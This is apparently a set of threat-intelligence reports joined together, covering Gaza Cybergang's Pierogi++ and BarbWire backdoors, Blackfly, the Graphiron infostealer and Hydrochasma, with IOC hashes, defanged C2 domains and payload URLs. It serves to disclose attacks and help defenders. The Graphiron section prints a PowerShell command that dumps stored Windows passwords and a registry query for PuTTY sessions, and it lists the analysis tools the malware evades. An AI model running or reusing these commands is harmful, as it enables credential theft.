Micropsia indicators. Decoy document Among the Micropsia activities we identified a backdoor that we assess is based on a malware first reported in 2020 and named Pierogi. This backdoor, which we labeled Pierogi++, is implemented in C++, and we observed its use in 2022 and over 2023. The malware is typically delivered through archive files or weaponized Office documents on Palestinian matters, written in English or Arabic. 3/14 Malicious documents distributing Pierogi++ The documents distributing Pierogi++ use macros to deploy the malware, which then typically masquerades as a Windows artifact, such as a scheduled task or a utility application. The malware implementation is embedded either in the macros or in the documents themselves, often in Base64-encoded form. 4/14 Office macro deploying Pierogi++ Pierogi++ executables also masquerade as politically-themed documents, with names such The national role of the revolutionary and national councils in confronting the plans for liquidation and Judaization The situation of Palestinian refugees in Syria refugees in Syria , and The Ministry of State for Wall and Settlement Affairs established by the Palestinian government We assess that Pierogi++ is based on the Pierogi backdoor, whose variants are implemented in Delphi and Pascal. Pierogi and Pierogi++ share similarities in code and functionalities, such as strings, reconnaissance techniques, and deployment of decoy documents, some also seen in Micropsia malware. 5/14 String indicating that no anti-virus solution has been detected: Pierogi++ (Tm9BVg== decodes to NoAV) Micropsia Further, Pierogi++ samples implement in the same order the same backdoor functionalities as Pierogi: taking screenshots, command execution, and downloading attacker-provided files. When handling backdoor commands, some Pierogi++ samples use the strings download and screen, whereas earlier Pierogi samples have used the Ukrainian strings vydalyty, Zavantazhyty, and Ekspertyza. This raised suspicions at the time of potential external involvement in Pierogi s development. We have not observed indicators pointing to such involvement in the Pierogi++ samples we analyzed. 6/14 Pierogi++ backdoor strings Most of the Pierogi++ C2 servers are registered at Namecheap and hosted by Stark Industries Solutions LTD, aligning with previous infrastructure management practices of the Gaza Cybergang umbrella. The backdoor uses the curl library for exchanging data with the C2 server, a technique that we do not often observe in Gaza Cybergang s malware arsenal. Use of the curl library Pierogi++ represents a compelling illustration of the continuous investment in maintenance and innovation of Gaza Cybergang s malware, likely in an attempt to enhance its capabilities and evade detection based on known malware characteristics. From Molerats to Arid Viper And Beyond 7/14 Following the first report on the Pierogi backdoor in February 2020, late 2020 and 2021 mark the association of the backdoor and its infrastructure with Arid Viper. The Micropsia activity linked to Arid Viper, which led to the discovery of the then-new PyMicropsia malware in December 2020, includes Pierogi samples. Further historical Pierogi samples use the escanor[.]live and nicoledotso[.]icu domains for C2 purposes, which have been associated with Arid Viper in December 2020 and April 2021. The latest variant of Pierogi is Pierogi++, which we observed targeting Palestinian entities in 2022 and over 2023 this targeting is typical for Arid Viper. Our investigations into malware used by Gaza Cybergang prior to 2022, which share capabilities, structure, and infrastructure with Pierogi, resulted in a multitude of samples implemented in Delphi, Pascal, and C++. This highlights the frequent adoption of different development paradigms by Gaza Cybergang and aligns with the observations by Facebook, which associates these variants with Arid Viper and tracks them using different names under the broader Micropsia malware family, such as Glasswire, Primewire, and fgref. Malware attributions 8/14 In late 2020, victims targeted with Pierogi variants as part of a suspected Arid Viper operation were observed to be also infected with the then-new SharpStage and DropBook malware, an overlap assessed to strengthen the ties between the Molerats and Arid Viper Gaza Cybergang sub-groups. Later in June 2021, the LastConn malware, which has been discovered as part of activities attributed to the TA402 cluster, was assessed with high confidence to be an updated version of SharpStage. Based on our followup investigation into recent 2023 TA402 activity targeting Middle Eastern government entities, we highlight concrete overlaps in malware used by TA402 and a lesserknown threat actor named WIRTE. First disclosed in April 2019, WIRTE was initially considered to be a distinct cluster but later associated with low confidence to the Gaza Cybergang umbrella (primarily based on the use of decoys on Palestinian matters, which are typical for the Gaza Cybergang constituent sub-groups). WIRTE is known for using a unique custom user agent for C2 communication when staging malware, with the value of the rv field likely being an intrusion identifier. WIRTE s stagers encapsulate C2 communication attempts in an infinite loop, separated by sleep periods of randomly generated lengths within defined lower and upper boundaries. We observe the same unique user agent format and C2 communication pattern in TA402 s .NET malware stagers. User agent and C2 communication in 2020 WIRTE malware 9/14 User agent and C2 communication in 2022 TA401 malware The involvement of malware artifacts previously seen only in the context of WIRTE indicates a likely relation between the TA402, WIRTE, and Gaza Cybergang clusters. This aligns with the latest TA402 attribution assessment as a cluster overlapping with Gaza Cybergang and WIRTE. Back To The Big Bang Operation Bearded Barbie, revealed in April 2022 and attributed with moderate-high confidence to Arid Viper, is a campaign that has been targeting Israeli individuals and officials in the law enforcement, military, and emergency services sectors. The operation highlights the BarbWire backdoor as a novel malware in Arid Viper s arsenal. A closer look at the implementation of the BarbWire variants observed as part of Operation Bearded Barbie reveal relations to a malware strain used as part of the 2018 Big Bang campaign, which was considered an evolution of a 2017 campaign targeting Palestinian individuals and entities. Without making a concrete attribution at the time, the campaign was loosely associated with the Gaza Cybergang, noting some links to Arid Viper in particular. The Big Bang campaign involves the use of a C++ implant, assessed to be an upgraded version of older Micropsia variants. In addition to some similarities in execution flow and structure, we observed that the backdoors used in the Big Bang and Bearded Barbie campaigns share unique strings that report the execution status and/or indicate internal references to malware modules. 10/14 The BarbWire samples used as part of Operation Bearded Barbie are reported to implement a custom base64 algorithm (cit.) to obfuscate strings. The backdoor does not implement changes to the Base64 encoding algorithm itself, but modifies Base64 strings by adding an extra character that is removed before decoding. String decoding of BarbWire strings in this way reveals exact matches between BarbWire and the backdoor observed in the Big Bang campaign. Backdoor string matches In contrast to BarbWire, BigBang backdoor samples obfuscate the same strings present in BarbWire using Base64-encoding only. The malware authors have likely introduced the Base64 string modification technique in later malware development efforts (reflected in Operation Bearded Barbie), as a relatively simple but effective attempt to evade detection based on known string artifacts. This technique also allows for quick changes of the modified Base64 strings by only changing the second character to keep evading detection over time. For example, both of the strings IZERvZXMgbm90IGV4aXN0Lg and IHERvZXMgbm90IGV4aXN0Lg Base64-decode to Does not exist. once the second character is removed. Conclusions Gaza Cybergang operations over 2022 and 2023 reveal a sustained focus on targeting Palestinian entities. The discovery of the Pierogi++ backdoor shows that the group continues to evolve and supplement its staple malware arsenal, including transforming older implementations into new tooling. 11/14 The intertwined nature of its constituent sub-groups sharing TTPs, malware, and victims, indicates that Gaza Cybergang is a unified front against anti-Hamas interests. The persistent nature of the Gaza Cybergang threat underscores the necessity for sustained vigilance and cooperative measures to address the challenges posed by these threat actors. SentinelLabs continues to monitor Gaza Cybergang activities to further improve the collective knowledge on the group s dynamics and to supply indicators, which are relevant to security teams defending their organizations and individuals at risk of being targeted. Indicators of Compromise SHA-1 Hashes 003bb055758a7d687f12b65fc802bac07368335e Micropsia family malware 19026b6eb5c1c272d33bda3eab8197bec692abab Micropsia family malware 20c10d0eff2ef68b637e22472f14d87a40c3c0bd Pierogi backdoor 26fe41799f66f51247095115f9f1ff5dcc56baf8 TA402 malware staging executable (2022 version) 278565e899cb48138cc0bbc482beee39e4247a5d Pierogi backdoor 2a45843cab0241cce3541781e4e19428dcf9d949 Micropsia family malware 32d0073b8297cc8350969fd4b844d80620e2273a Document distributing Pierogi++ 3ae41f7a84ca750a774f777766ccf4fd38f7725a Document distributing Pierogi++ 42cb16fc35cfc30995e5c6a63e32e2f9522c2a77 Pierogi++ 4dcdb7095da34b3cef73ad721d27002c5f65f47b BarbWire backdoor 5128d0af7d700241f227dd3f546b4af0ee420bbc Pierogi++ 5619e476392c195ba318a5ff20e40212528729ba Micropsia family malware 599cf23db2f4d3aa3e19d28c40b3605772582cae Pierogi backdoor 5e46151df994b7b71f58556c84eeb90de0776609 Document distributing Pierogi++ 5fcc262197fe8e0f129acab79fd28d32b30021d7 WIRTE PowerShell script 60480323f0e6efa3ec08282650106820b1f35d2f Archive distributing Pierogi++ 694fa6436302d55c544cfb4bc9f853d3b29888ef BarbWire backdoor 12/14 708f05d39df7e47aefc4b15cb2db9f26bc9fad5f TA402 malware staging executable (2022 version) 745657b4902a451c72b4aab6cf00d05895bbc02f Micropsia family malware 75a63321938463b8416d500b34a73ce543a9d54d Pierogi++ 95fc3fb692874f7415203a819543b1e0dd495a57 Micropsia family malware 994ebbe444183e0d67b13f91d75b0f9bcfb011db Operation Big Bang backdoor aeeeee47becaa646789c5ee6df2a6e18f1d25228 Pierogi++ c3038d7b01813b365fd9c5fd98cd67053ed22371 Micropsia family malware da96a8c04edf8c39d9f9a98381d0d549d1a887e8 Pierogi++ ee899ae5de50fdee657e04ccd65d76da7ede7c6f Operation Big Bang backdoor f3e99ec389e6108e8fda6896fa28a4d7237995be Pierogi++ Domains aracaravan[.]com Pierogi++ C2 server beatricewarner[.]com Pierogi++ C2 server bruce-ess[.]com Micropsia C2 server claire-conway[.]com Micropsia C2 server delooyp[.]com Micropsia C2 server escanor[.]live Pierogi backdoor C2 server izocraft[.]com Micropsia C2 server jane-chapman[.]com Micropsia C2 server lindamullins[.]info Operation Big Bang backdoor C2 server nicoledotson[.]icu Pierogi backdoor C2 server overingtonray[.]info Pierogi backdoor C2 server porthopeminorhockey[.]net Micropsia C2 server spgbotup[.]club Operation Big Bang backdoor C2 server stgeorgebankers[.]com WIRTE C2 server 13/14 swsan-lina-soso[.]info Pierogi++ C2 server theconomics[.]net TA402 C2 server wanda-bell[.]website BarbWire C2 server wayne-lashley[.]com Micropsia C2 server zakaria-chotzen[.]info Pierogi++ C2 server 14/14 Blackfly: Espionage Group Targets Materials Technology symantec-enterprise-blogs.security.com/blogs/threat-intelligence/blackfly-espionage-materials The Blackfly espionage group (aka APT41, Winnti Group, Bronze Atlas) has continued to mount attacks against targets in Asia and recently targeted two subsidiaries of an Asian conglomerate, both of which operate in the materials and composites sector, suggesting that the group may be attempting to steal intellectual property. Current Blackfly toolset The following tools were used in attacks during late 2022 and early 2023: Backdoor.Winnkit SHA256: caba1085791d13172b1bb5aca25616010349ecce17564a00cb1d89c7158d6459 SHA256: cf6bcd3a62720f0e26e1880fe7ac9ca6c62f7f05f1f68b8fe59a4eb47377880a SHA256: e1e0b887b68307ed192d393e886d8b982e4a2fd232ee13c2f20cd05f91358596 SHA256: a3078d0c4c564f5efb1460e7d341981282f637d38048501221125756bc740aac SHA256: 714cef77c92b1d909972580ec7602b0914f30e32c09a5e8cb9cb4d32aa2a2196 SHA256: 192ef0dee8df73eec9ee617abe4b0104799f9543a22a41e28d4d44c3ad713284 Rootkit driver known to be associated with Blackfly Credential-dumping tool SHA256: 100cad54c1f54126b9d37eb8c9e426cb609fc0eda0e9a241c2c9fd5a3a01ad6c Creates a dump of credentials from lsass.exe in C:\windows\temp\1.bin. Screenshotting tool SHA256: 452d08d420a8d564ff5df6f6a91521887f8b9141d96c77a423ac7fc9c28e07e4 Screenshots all open windows and saves them as .jpg files. Process-hollowing tool SHA256: 1cc838896fbaf7c1996198309fbf273c058b796cd2ac1ba7a46bee6df606900e Injects shellcode in C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted. The shellcode is a simple "Hello World" alert message. SQL tool SHA256: 4ae2cb9454077300151e701e6ac4e4d26dc72227135651e02437902ac05aa80d SQL client tool used to query SQL databases. Mimikatz SHA256: 560ea79a96dc4f459e96df379b00b59828639b02bd7a7a9964b06d04cb43a35a SHA256: b28456a0252f4cd308dfb84eeaa14b713d86ba30c4b9ca8d87ba3e592fd27f1c Publicly available credential-dumping tool. ForkPlayground SHA256: a3acb9f79647f813671c1a21097a51836b0b95397ebc9cd178bc806e1773c864 Proof-of-Concept application to create a memory dump of an arbitrary process using the ForkLib. Proxy configuration tool SHA256: 5e51bdf067e5781d2868d97e7608187d2fec423856dbc883c6f81a9746e99b9f SHA256: d4e1f09cb7b9b03b4779c87f2a10d379f1dd010a9686d221c3a9f45bda5655ee SHA256: f138d785d494b8ff12d4a57db94958131f61c76d5d2c4d387b343a213b29d18f Configures proxy settings by injecting into: C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted. Proxy configuration tool SHA256: 88113bebc49d40c0aa1f1f0b10a7e6e71e4ed3ae595362451bd9dcebcf7f8bf4 SHA256: 498e8d231f97c037909662764397e02f67d0ee16b4f6744cf923f4de3b522bc1 This tool requires a file called conf.dat to run properly, located at: c:\users\public\conf.dat. Conf.dat contains the configuration to set up proxy settings. Longstanding APT group Blackfly is one of the longest known Chinese advanced persistent threat (APT) groups, active since at least 2010. Early attacks were distinguished by the use of the PlugX/Fast (Backdoor.Korplug), Winnti/Pasteboy (Backdoor.Winnti), and Shadowpad (Backdoor.Shadowpad) malware families. The group initially made a name for itself through attacks on the computer gaming industry. It subsequently branched out into targeting a more diverse range of targets, including organizations in the semiconductor, telecoms, materials manufacturing, pharmaceutical, media and advertising, hospitality, natural resources, fintech, and food sectors. Blackfly has been closely associated with a second Chinese APT group known as Grayfly, so much so that some vendors track the two groups as one actor: APT41. A 2020 indictment of seven men on charges relating to hundreds of cyber attacks carried out by both groups appeared to shed light on this link. Two Chinese nationals were alleged to have worked with both groups. A crossover in personnel may account for the similarities between both groups. Undeterred Despite being the subject of a U.S. indictment, Blackfly has continued to mount attacks, seemingly undeterred by the publicity afforded to the group. Although it originally made a name for itself by attacking the gaming sector, the group appears focused on targeting intellectual property in a variety of sectors at present. Protection/Mitigation For the latest protection updates, please visit the Symantec Protection Bulletin. Indicators of Compromise If an IOC is malicious and the file available to us, Symantec Endpoint products will detect and block that file. cf6bcd3a62720f0e26e1880fe7ac9ca6c62f7f05f1f68b8fe59a4eb47377880a Backdoor.Winnkit e1e0b887b68307ed192d393e886d8b982e4a2fd232ee13c2f20cd05f91358596 Backdoor.Winnkit a3078d0c4c564f5efb1460e7d341981282f637d38048501221125756bc740aac Backdoor.Winnkit 714cef77c92b1d909972580ec7602b0914f30e32c09a5e8cb9cb4d32aa2a2196 Backdoor.Winnkit 192ef0dee8df73eec9ee617abe4b0104799f9543a22a41e28d4d44c3ad713284 Backdoor.Winnkit caba1085791d13172b1bb5aca25616010349ecce17564a00cb1d89c7158d6459 Backdoor.Winnkit 452d08d420a8d564ff5df6f6a91521887f8b9141d96c77a423ac7fc9c28e07e4 Screenshotting tool 1cc838896fbaf7c1996198309fbf273c058b796cd2ac1ba7a46bee6df606900e Processhollowing tool 4ae2cb9454077300151e701e6ac4e4d26dc72227135651e02437902ac05aa80d SQL tool 560ea79a96dc4f459e96df379b00b59828639b02bd7a7a9964b06d04cb43a35a Mimikatz b28456a0252f4cd308dfb84eeaa14b713d86ba30c4b9ca8d87ba3e592fd27f1c Mimikatz a3acb9f79647f813671c1a21097a51836b0b95397ebc9cd178bc806e1773c864 ForkPlayground 5e51bdf067e5781d2868d97e7608187d2fec423856dbc883c6f81a9746e99b9f Proxy configuration tool d4e1f09cb7b9b03b4779c87f2a10d379f1dd010a9686d221c3a9f45bda5655ee Proxy configuration tool f138d785d494b8ff12d4a57db94958131f61c76d5d2c4d387b343a213b29d18f Proxy configuration tool 88113bebc49d40c0aa1f1f0b10a7e6e71e4ed3ae595362451bd9dcebcf7f8bf4 Proxy configuration tool 498e8d231f97c037909662764397e02f67d0ee16b4f6744cf923f4de3b522bc1 Proxy configuration tool 100cad54c1f54126b9d37eb8c9e426cb609fc0eda0e9a241c2c9fd5a3a01ad6c Credentialdumping tool Graphiron: New Russian Information Stealing Malware Deployed Against Ukraine symantec-enterprise-blogs.security.com/blogs/threat-intelligence/nodaria-ukraine-infostealer Russia-linked Nodaria group has deployed a new threat designed to steal a wide range of information from infected computers. The Nodaria espionage group (aka UAC-0056) is using a new piece of information stealing malware against targets in Ukraine. The malware (Infostealer.Graphiron) is written in Go and is designed to harvest a wide range of information from the infected computer, including system information, credentials, screenshots, and files. The earliest evidence of Graphiron dates from October 2022. It continued to be used until at least mid-January 2023 and it is reasonable to assume that it remains part of the Nodaria toolkit. Graphiron functionality Graphiron is a two-stage threat consisting of a downloader (Downloader.Graphiron) and a payload (Infostealer.Graphiron). The downloader contains hardcoded command-and-control (C&C) server addresses. When executed, it will check against a blacklist of malware analysis tools by checking for running processes with the names listed in Table 1. Process names BurpSuite, BurpSuiteFree, CFF Explorer, Charles, DumpIt, Fiddler, HTTPDebuggerSVC, HTTPDebuggerUI, HookExplorer, Immunity, ImportREC, LordPE, MegaDumper, NetworkMiner, PEToolW, Proxifier, RAMMap, RAMMap64, ResourceHacker, SysInspector, WSockExpert, WinDump, Wireshar, agent.py, autoruns, autoruns, dbgview, disassembly, dumpcap, filemon, httpdebugger, httpsMon, ida,idag, idag64, idaq, idaq64, idau, idau64, idaw, idaw64, joeboxcontrol, joeboxserver, mitmdump, mitmweb, ollydbg, pestudio, proc_analyzer, processhacker, procexp, procexp64, procmon, procmon64, protection_id, pslist, reconstructor, regmon, reshacker, rpcapd, scylla, scylla_64, scylla_86, smsniff, sniff_hit, tcpvcon, tcpview, tshark, vmmat, windbg, x32dbg, x64dbg, x96dbg Table 1: Graphiron checks against a blacklist of malware analysis tools by checking for running processes with specific names If no blacklisted processes are found, it will connect to a C&C server and download and decrypt the payload before adding it to autorun. The downloader is configured to run just once. If it fails to download and install the payload it won t make further attempts nor send a heartbeat. Graphiron uses AES encryption with hardcoded keys. It creates temporary files with the ".lock" and ".trash" extensions. It uses hardcoded file names designed to masquerade as Microsoft office executables: OfficeTemplate.exe and MicrosoftOfficeDashboard.exe The payload is capable of carrying out the following tasks: Reads MachineGuid Obtains the IP address from https://checkip.amazonaws.com Retrieves the hostname, system info, and user info Steals data from Firefox and Thunderbird Steals private keys from MobaXTerm. Steals SSH known hosts Steals data from PuTTY Steals stored passwords Takes screenshots Creates a directory Lists a directory Runs a shell command Steals an arbitrary file Password theft is carried out using the following PowerShell command: [void] [Windows.Security.Credentials.PasswordVault,Windows.Security.Credentials,ContentType=WindowsRuntime];$vault = New-Object Windows.Security.Credentials.PasswordVault;$vault.RetrieveAll() | % { $_.RetrievePassw ord();$_} | Select UserName, Resource, Password | Format-Table HideTableHeaders The following command was used to export the list of PuTTY sessions: "CSIDL_SYSTEM\reg.exe" query HKCU\Software\SimonTatham\Putty\Sessions Similarity to older tools Graphiron has some similarities with older Nodaria tools such as GraphSteel and GrimPlant. GraphSteel is designed to exfiltrate files along with system information and credentials stolen from the password vault using PowerShell. Graphiron has similar functionality but can exfiltrate much more, such as screenshots and SSH keys. In addition to this, as with earlier malware, Graphiron communicates with the C&C server using port 443 and communications are encrypted using the AES cipher. Malware version Internal name Obfuscation Libraries used Infostealer.Graphiron 1.18 jcmturner/aescts, buger/jsonparser, golang/protobuf, kbinani/screenshot, lxn/win, mattn/go-sqlite, tidwall/gjson, anmitsu/go-shlex Downloader.Graphiron 1.18 jcmturner/aescts GraphSteel 1.16 Elephant buger/jsonparser, aglyzov/charmap, denisbrodbeck/machineid, gorilla/websocket, jcmturner/aescts, matn/go-sqlite, tidwall/gjson GrimPlant 1.16 Elephant jcmturner/aescts, denisbrodbeck/machineid, golang/protobuf, kbinani/screenshot, lxn/win, anmitsu/go-shlex Table 2: Comparison between Graphiron and older Nodaria tools (GraphSteel and GrimPlant) Nodaria Nodaria has been active since at least March 2021 and appears to be mainly involved in targeting organizations in Ukraine. There is also limited evidence to suggest that the group has been involved in attacks on targets in Kyrgyzstan. Third-party reporting has also linked the group to attacks on Georgia. The group sprang to public attention when it was linked to the WhisperGate wiper attacks that hit multiple Ukrainian government computers and websites in January 2022. When WhisperGate was initially loaded onto a system, the malware would overwrite the portion of the hard drive responsible for launching the operating system when the machine is booted up with a ransom note demanding $10,000 in Bitcoin. However, this was just a decoy as the WhisperGate malware destroys data on an infected machine and it cannot be recovered, even if a ransom is paid. The group s usual infection vector is spear-phishing emails, which are then used to deliver a range of payloads to targets. Custom tools used by the group to date include: Elephant Dropper: A dropper Elephant Downloader: A downloader SaintBot: A downloader OutSteel: Information stealer GrimPlant (aka Elephant Implant): Collects system information and maintains persistence GraphSteel (aka Elephant Client): Information stealer Like Graphiron, many of Nodaria s earlier tools were written in Go. Graphiron appears to be the latest piece of malware authored by the same developers, likely in response to a need for additional functionality. While GraphSteel and GrimPlant used Go version 1.16, Graphiron uses version 1.18, confirming it is a more recent development. While Nodaria was relatively unknown prior to the Russian invasion of Ukraine, the group s high-level activity over the past year suggests that it is now one of the key players in Russia s ongoing cyber campaigns against Ukraine. Protection/Mitigation For the latest protection updates, please visit the Symantec Protection Bulletin. Indicators of Compromise If an IOC is malicious and the file available to us, Symantec Endpoint products will detect and block that file. SHA-256: 0d0a675516f1ff9247f74df31e90f06b0fea160953e5e3bada5d1c8304cfbe63 Downloader.Graphiron 878450da2e44f5c89ce1af91479b9a9491fe45211fee312354dfe69e967622db Downloader.Graphiron 80e6a9079deffd6837363709f230f6ab3b2fe80af5ad30e46f6470a0c73e75a7 Infostealer.Graphiron eee1d29a425231d981efbc25b6d87fdb9ca9c0e4e3eb393472d5967f7649a1e6 Infostealer.Graphiron f0fd55b743a2e8f995820884e6e684f1150e7a6369712afe9edb57ffd09ad4c1 Infostealer.Graphiron f86db0c0880bb81dbfe5ea0b087c2d17fab7b8eefb6841d15916ae9442dd0cce Infostealer.Graphiron Network: 208.67.104[.]95 C&C server Hydrochasma: Previously Unknown Group Targets Medical and Shipping Organizations in Asia symantec-enterprise-blogs.security.com/blogs/threat-intelligence/hydrochasma-asia-medical-shipping-intelligencegathering Shipping companies and medical laboratories in Asia are being targeted in a likely intelligence-gathering campaign that relies exclusively on publicly available and living-offthe-land tools. Hydrochasma, the threat actor behind this campaign, has not been linked to any previously identified group, but appears to have a possible interest in industries that may be involved in COVID-19-related treatments or vaccines. This activity has been ongoing since at least October 2022. While Symantec, by Broadcom Software, did not see any data being exfiltrated in this campaign, the targets, as well as some of the tools used, indicate that the most likely motivation in this campaign is intelligence gathering. Attack Chain The infection vector used by Hydrochasma was most likely a phishing email. The first suspicious activity seen on machines is a lure document with a file name in the victim organization s native language that appears to indicate it was an email attachment: [TRANSLATED FROM THE ORIGINAL] Product Specification-Freight-Company Qualification Information wps-pdf Export.pdf.exe Another lure document appears to be mimicking a resume: [TRANSLATED FROM THE ORIGINAL] [REDACTED] University-Development Engineer.exe Following initial access on one machine, the attackers were seen dropping Fast Reverse Proxy (FRP), a tool that can expose a local server that is sitting behind an NAT or firewall to the internet. This drops a legitimate Microsoft Edge update file: %TEMP%\MicrosoftEdgeUpdate.exe Another file, %TEMP%\msedgeupdate.dll, is then seen on victim machines. But this file is actually Meterpreter, a tool that is part of the Metasploit framework and which can be used for remote access. Other tools that were subsequently seen on this victim s network included: Gogo scanning tool: An automated scanning engine originally designed for use by red teams. Process Dumper (lsass.exe): A tool that allows attackers to dump domain passwords. Cobalt Strike Beacon: An off-the-shelf tool that can be used to execute commands, inject other processes, elevate current processes, or impersonate other processes, and upload and download files. It ostensibly has legitimate uses as a penetration testing tool but is invariably exploited by malicious actors. AlliN scanning tool: A pentesting scan tool that can be used for lateral penetration of the intranet. Fscan: A publicly available hacktool that can scan for open ports and more. Dogz proxy tool: A free VPN proxy tool. A shellcode loader and a corrupted portable executable (PE) file were also deployed on this victim s network. Other tactics, techniques, and procedures (TTPs) observed being used in this campaign included: SoftEtherVPN: The presence of this tool was what first prompted Symantec researchers to investigate this activity. It is free, open-source, and cross-platform VPN software. Procdump: Microsoft Sysinternals tool for monitoring an application for CPU spikes and generating crash dumps, but which can also be used as a general process dump utility. BrowserGhost: A publicly available tool that can grab passwords from an internet browser. Gost proxy: A tunneling tool. Ntlmrelay: An NTLM relay attack allows an attacker to intercept validated authentication requests in order to access network services. Task Scheduler: Allows tasks to be automated on a computer. Go-strip: Used to make a Go binary smaller in size. HackBrowserData: An open-source tool that can decrypt browser data. The tools deployed by Hydrochasma indicate a desire to achieve persistent and stealthy access to victim machines, as well as an effort to escalate privileges and spread laterally across victim networks. While Symantec researchers didn t observe data being exfiltrated from victim machines, some of the tools deployed by Hydrochasma do allow for remote access and could potentially be used to exfiltrate data. The sectors targeted also point towards the motivation behind this attack being intelligence gathering. The lack of custom malware used in this attack is also notable. Relying exclusively on livingoff-the-land and publicly available tools can help make an attack stealthier, while also making attribution more difficult. Symantec did not see evidence to link this activity to a known actor, prompting us to create the new actor identity of Hydrochasma for those behind this activity. Protection/Mitigation For the latest protection updates, please visit the Symantec Protection Bulletin. Indicators of Compromise If an IOC is malicious and the file available to us, Symantec Endpoint products will detect and block that file. File Indicators SHA256 409f89f4a00e649ccd8ce1a4a08afe03cb5d1c623ab54a80874aebf09a9840e5 Fast Reverse Proxy 47d328c308c710a7e84bbfb71aa09593e7a82b707fde0fb9356fb7124118dc88 GoGo Scanning Tool 6698a81e993363fab0550855c339d9a20a25d159aaa9c4b91f60bb4a68627132 Dropper 7229bd06cb2a4bbe157d72a3734ba25bc7c08d6644c3747cdc4bcc5776f4b5b9 Process Dumper (lsass.exe) 72885373e3e8404f1889e479b3d46dd8111280379c4065bfc1e62df093e42aba Fast Reverse Proxy 72bc8b30df3cdde6c58ef1e8a3eae9e7882d1abe0b7d4810270b5a0cc077bb1a Cobalt Strike Beacon 7b410fa2a93ed04a4155df30ffde7d43131c724cdf60815ee354988b31e826f8 Fast Reverse Proxy 7f0807d40e9417141bf274ef8467a240e20109a489524e62b090bccdb4998bc6 Process Dumper (lsass.exe) 8c0f0d1acb04693a6bdd456a6fcd37243e502b21d17c8d9256940fc7943b1e9a Cobalt Strike Beacon 8e32ea45e1139b459742e676b7b2499810c3716216ba2ec55b77c79495901043 Fast Reverse Proxy 981e5f7219a2f92a908459529c42747ac5f5a820995f66234716c538b19993eb GoGo Scanning Tool 9ebd789e8ca8b96ed55fc8e95c98a45a61baea3805fd440f50f2bde5ffd7a372 Fast Reverse Proxy 9f5f7ba7d276f162cc32791bfbaa0199013290a8ac250eb95fd90bc004c3fd36 Cobalt Strike Beacon a0f5966fcc64ce2d10f24e02ae96cdc91590452b9a96b3b1d4a2f66c722eec34 AllIn Scanning Tool cb03b5d517090b20749905a330c55df9eb4d1c6b37b1b31fae1982e32fd10009 Fscan d1c4968e7690fd40809491acc8787389de0b7cbc672c235639ae7b4d07d04dd4 Shellcode Loader de01492b44372f2e4e38354845e7f86e0be5fb8f5051baafd004ec5c1567039f Cobalt Strike Beacon e378d8b5a35d4ec75cae7524e64c1d605f1511f9630c671321ee46aa7c4d378b PE File eba22f50eedfec960fac408d9e6add4b0bd91dd5294bee8cff730db53b822841 Dropper fc4b5f2ee9da1fe105bb1b7768754d48f798bf181cbc53583387578a5ebc7b56 Dogz Proxy Tool 02fe00ffd1b076983f3866c04ca95c56cef88c2564fabb586e11e54986e87ba7 084d1fc4236011d442801e423485c8e58f68dc14ec0a8b716fa0fd210de43dda 1744fac628262aa0cf3810bd5168375959be41764c8ca2fa41950a7b1f8f2fad 1d087f6a17227769bcebc799a2cdf1bb2a8fdf6ba560d21a88bb71f1c213a42c 327fc116f8f48f97292184bb50cb3db418f368b3e2a0fb41267ba40254a35a89 3516f94b0fb57e93c6659d813cbf5fb3617dea7a667c78cb70a1914306327906 41b6d26926706bb68530ddff234f69757e3bbef91c47eb0255313ed86cb3f806 44223e5abd106c077908f03c93b8c8baee7d630f1718f9750f16b786cf88fd06 553e0763cf3a938b5754c9d89939a118abe0b235e4be6920c34f562bd758e586 5a62abc0a2208679e414cc71d1f36ffa14b48df2b73ac520e45d557ad77dd004 6770f815480d7cfa0a6fc8599c08ca6013f608d257a2121233e77374e21c53f8 6cb815863088a0ad367b2a525a572323600596f6875a79536aee57202ef24fd5 6f017ad84d0d06f50b6213a0742838b5ec510f3d06f96e0300048f2da6a35c41 7394ab0ed6d1f62e83fc5f8f1eb720ddd07cbd2bcdf6a00b9b63ef6018fa5f90 7800a4fb0cbdf29815c521ea8b00a23e28d7eb365653f2afcfb5572622727218 7f6a1d6950a9464f27d8651a267563d4630d223bf7ac66851917a57f8fac6550 84502fbe3e5172c39e9a97734e6caac79255abffcb55c22752620d908ff33940 916b63b88de2549c4a5c8e13d51df4cf6996067ae30f24c8bb35c66db7c061df 968b28f7d6abb845f2cc7efa93cdcf7660585e22d589267695726de13afea260 9e8b5a84ad108a761619ca040788dcbf07996a9101cecc5c30ba61f9a06945c1 b53d0a43ea91b3c80bc6c87c0c6946816c38876b2cb2f6f772afe94c54d3ad30 b5c4f420067499522b748a34161ad6e140a7f30ab0b8fa63feef760c5e631679 d0ae66022929c17f31ddf98d88817f0aa70a56ce2ff2df9595b8889c2d3d7e31 d92c50a91bd5b2f06f41a9a5f9937e50b78658d46e3cd04bc3a85f270ce288c2 dc3b714fd6f93c0c0cd2685b6b8cd551896855474bdd09593b8c6b4b7ab6bac2 e7684a4984d9d82115c5cc1b43b9f63a11e7ed333a4e2d92dc15b6e931634bf4 ebc3dabf0a2dafb0790be6dbb4d3509b5ce1259b955172910618a32627b3b668 ee9aefde33ed48d16ecb1c41256fc7d93ddfa8bedfa59b95e8810282ac164d0d f35b206fe10ad3f57d9c4ecf71a2d2cc06d7c7fe905e567b989f72f147da99dc f73738e6e33286657cda81f618a74b74745590915a8f4451e7c00473cbe89e1d fc8a67b80b0b0ecd10dfd90820ffc64923b94c32b04dbb6929a79b9ce027563c ffdcf74968805e9cc897ca932e4da0f22ea7b3e9b96fcc9082c0c5300ae4cb0d Network Indicators 39.101.194[.]61 Cobalt Strike Beacon C&C 47.92.138[.]241 Cobalt Strike Beacon C&C 106.14.184[.]148 180.119.234[.]147 Domains alidocs.dingtalk[.]com.wswebpic[.]com Cobalt Strike Beacon C&C csc.zte[.]com.cn.wswebpic[.]com Cobalt Strike Beacon C&C taoche[.]cn.wswebpic[.]com Cobalt Strike Beacon C&C URLs hxxp://47.92.138[.]241:8090/update.exe hxxp://47.92.138[.]241:8000/agent.exe hxxp://47.92.138[.]241:8000/update.exe hxxp://47.92.138[.]241:8000/ff.exe hxxp://47.92.138[.]241:8000/aa.exe hxxp://47.92.138[.]241:8000/runas.exe hxxp://47.92.138[.]241:8090/a.exe hxxp://47.92.138[.]241:8000/t.exe hxxp://47.92.138[.]241:8000/po.exe hxxp://47.92.138[.]241:8080/t.exe hxxp://47.92.138[.]241:8899/t.exe hxxp://47.92.138[.]241:8000/logo.png hxxp://47.92.138[.]241:8080/t.png hxxp://47.92.138[.]241:8000/frp.exe About the Author 